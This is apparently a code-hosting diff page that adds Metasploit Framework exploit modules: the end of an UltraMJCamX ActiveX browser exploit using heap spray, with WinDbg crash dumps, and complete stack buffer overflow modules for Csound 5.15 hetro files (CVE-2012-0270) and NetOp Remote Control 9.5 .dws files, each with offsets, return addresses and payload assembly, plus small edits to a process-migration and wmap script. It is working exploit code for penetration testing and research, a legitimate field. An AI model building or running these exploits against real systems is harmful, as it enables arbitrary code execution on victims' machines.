||||
js = heaplib(js, {:noobfu => true})
|
||||
|
||||
html = <<-EOS
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<object classid='clsid:707ABFC2-1D27-4A10-A6E4-6BE6BDF9FB11' id='obj'></object>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
bp 1000f952 "r; g"
|
||||
bp kernel32!WideCharToMultiByte "r; dc poi(esp+c); .echo; g"
|
||||
|
||||
eax=023f4bf4 ebx=1006519c ecx=00000003 edx=0013a170 esi=00038ce0 edi=00000000
|
||||
eip=7c80a164 esp=0013a130 ebp=0013a158 iopl=0 nv up ei pl nz na po nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||
kernel32!WideCharToMultiByte:
|
||||
7c80a164 8bff mov edi,edi
|
||||
023f4bf4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
||||
023f4c04 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
||||
023f4c14 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
||||
023f4c24 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
||||
023f4c34 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
||||
023f4c44 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
||||
023f4c54 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
||||
023f4c64 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
||||
|
||||
ChildEBP RetAddr
|
||||
0013a12c 1000f958 kernel32!WideCharToMultiByte
|
||||
WARNING: Stack unwind information not available. Following frames may be wrong.
|
||||
0013a158 100211d0 UltraMJCamX+0xf958
|
||||
0013e24c 77135cd9 UltraMJCamX!DllUnregisterServer+0xeb20
|
||||
0013e26c 771362e8 OLEAUT32!DispCallFunc+0x16a
|
||||
0013e2fc 10017142 OLEAUT32!CTypeInfo2::Invoke+0x234
|
||||
0013e32c 100170e2 UltraMJCamX!DllUnregisterServer+0x4a92
|
||||
0013e358 7deac999 UltraMJCamX!DllUnregisterServer+0x4a32
|
||||
0013e398 7deacfaf mshtml!InvokeDispatchWithNoThis+0x78
|
||||
0013e3d8 7deac9fc mshtml!COleSite::ContextInvokeEx+0x149
|
||||
0013e40c 75c71408 mshtml!COleSite::ContextThunk_InvokeEx+0x44
|
||||
0013e444 75c71378 jscript!IDispatchExInvokeEx2+0xac
|
||||
0013e47c 75c76db3 jscript!IDispatchExInvokeEx+0x56
|
||||
0013e4ec 75c710d8 jscript!InvokeDispatchEx+0x78
|
||||
0013e534 75c6fab8 jscript!VAR::InvokeByName+0xba
|
||||
0013e574 75c6efea jscript!VAR::InvokeDispName+0x43
|
||||
0013e598 75c76ff4 jscript!VAR::InvokeByDispID+0xfd
|
||||
0013e650 75c7165d jscript!CScriptRuntime::Run+0x16bd
|
||||
0013e668 75c71793 jscript!ScrFncObj::Call+0x8d
|
||||
0013e6d8 75c5da62 jscript!CSession::Execute+0xa7
|
||||
0013e728 75c5e6e7 jscript!COleScript::ExecutePendingScripts+0x147
|
||||
|
||||
0:008> r
|
||||
eax=78f8f8f8 ebx=1006519c ecx=020bc038 edx=0c0c0c0c esi=020bf4d0 edi=020c0000
|
||||
eip=1003a0e9 esp=020bb140 ebp=020bf22c iopl=0 nv up ei pl zr na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
||||
UltraMJCamX!DllUnregisterServer+0x27a39:
|
||||
1003a0e9 8917 mov dword ptr [edi],edx ds:0023:020c0000=00905a4d
|
||||
|
||||
|
||||
The only application-specific component loaded is UltraMJCamX.ocx, but this
|
||||
can be unreliable and I'd rather not use that.
|
||||
=end
|
|
@ -0,0 +1,77 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Csound hetro File Handling Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in Csound before 5.16.6.
|
||||
The overflow occurs when trying to import a malicious hetro file
|
||||
from tabular format.
|
||||
In order to achieve exploitation the user should import the malicious
|
||||
file through csound with a command like "csound -U het_import msf.csd file.het".
|
||||
This exploit doesn't work if the "het_import" command is used directly
|
||||
to convert the file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Secunia', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'Version' => '$Revision: $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-0270' ],
|
||||
[ 'OSVDB', '79491' ],
|
||||
[ 'BID', '52144' ],
|
||||
[ 'URL', 'http://secunia.com/secunia_research/2012-3/' ],
|
||||
[ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 650,
|
||||
'BadChars' => "\x00\x0a\x1a\x2c\xff",
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
|
||||
'DisableNops' => 'True'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',
|
||||
{
|
||||
'Offset' => 132,
|
||||
'Ret' => 0x6e955446 # push esp # ret / libgcc_s_dw2-1.dll
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Feb 23 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
sploit = rand_text(target['Offset'])
|
||||
sploit << [target.ret].pack("V")
|
||||
sploit << payload.encoded
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
file_create(sploit)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NetOp Remote Control Client 9.5 Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.
|
||||
When opening a .dws file containing a specially crafted string longer then 520
|
||||
characters will allow an attacker to execute arbitrary code.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Ruben Alejandro "chap0"',
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '72291' ],
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/17223/' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process',
|
||||
'DisablePayloadHandler' => 'true'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'BadChars' => "\x00\x0a\x0d",
|
||||
'DisableNops' => true,
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3',
|
||||
{
|
||||
'Ret' => 0x20d6c32c, # push esp # ret - nrp.DLL
|
||||
'Offset' => 524
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Apr 28 2011',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
buffer = rand_text(target['Offset'])
|
||||
buffer << [target.ret].pack('V')
|
||||
buffer << make_nops(30)
|
||||
buffer << payload.encoded
|
||||
|
||||
file_create(buffer)
|
||||
end
|
||||
|
||||
end
|
|
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Post
|
|||
print_good("Successfully migrated to process #{target_pid}")
|
||||
rescue ::Exception => e
|
||||
print_error("Could not migrate in to process.")
|
||||
print_error(e)
|
||||
print_error("Exception: #{e.class} : #{e}")
|
||||
end
|
||||
|
||||
if datastore['KILL']
|
||||
|
|
|
@ -66,6 +66,9 @@ framework.db.hosts.each do |host|
|
|||
print_line("site which will get analyzed:")
|
||||
run_single("wmap_sites -s #{host.address}:#{serv.port}")
|
||||
run_single("wmap_targets -t #{host.address}:#{serv.port}")
|
||||
serv.web_sites.each do |site|
|
||||
run_single("wmap_targets -t #{site.vhost},#{host.address}:#{serv.port}")
|
||||
end
|
||||
print_line("defined target:")
|
||||
run_single("wmap_targets -l")
|
||||
if(profile != nil)
|
||||
|
|
Loading…
Reference in New Issue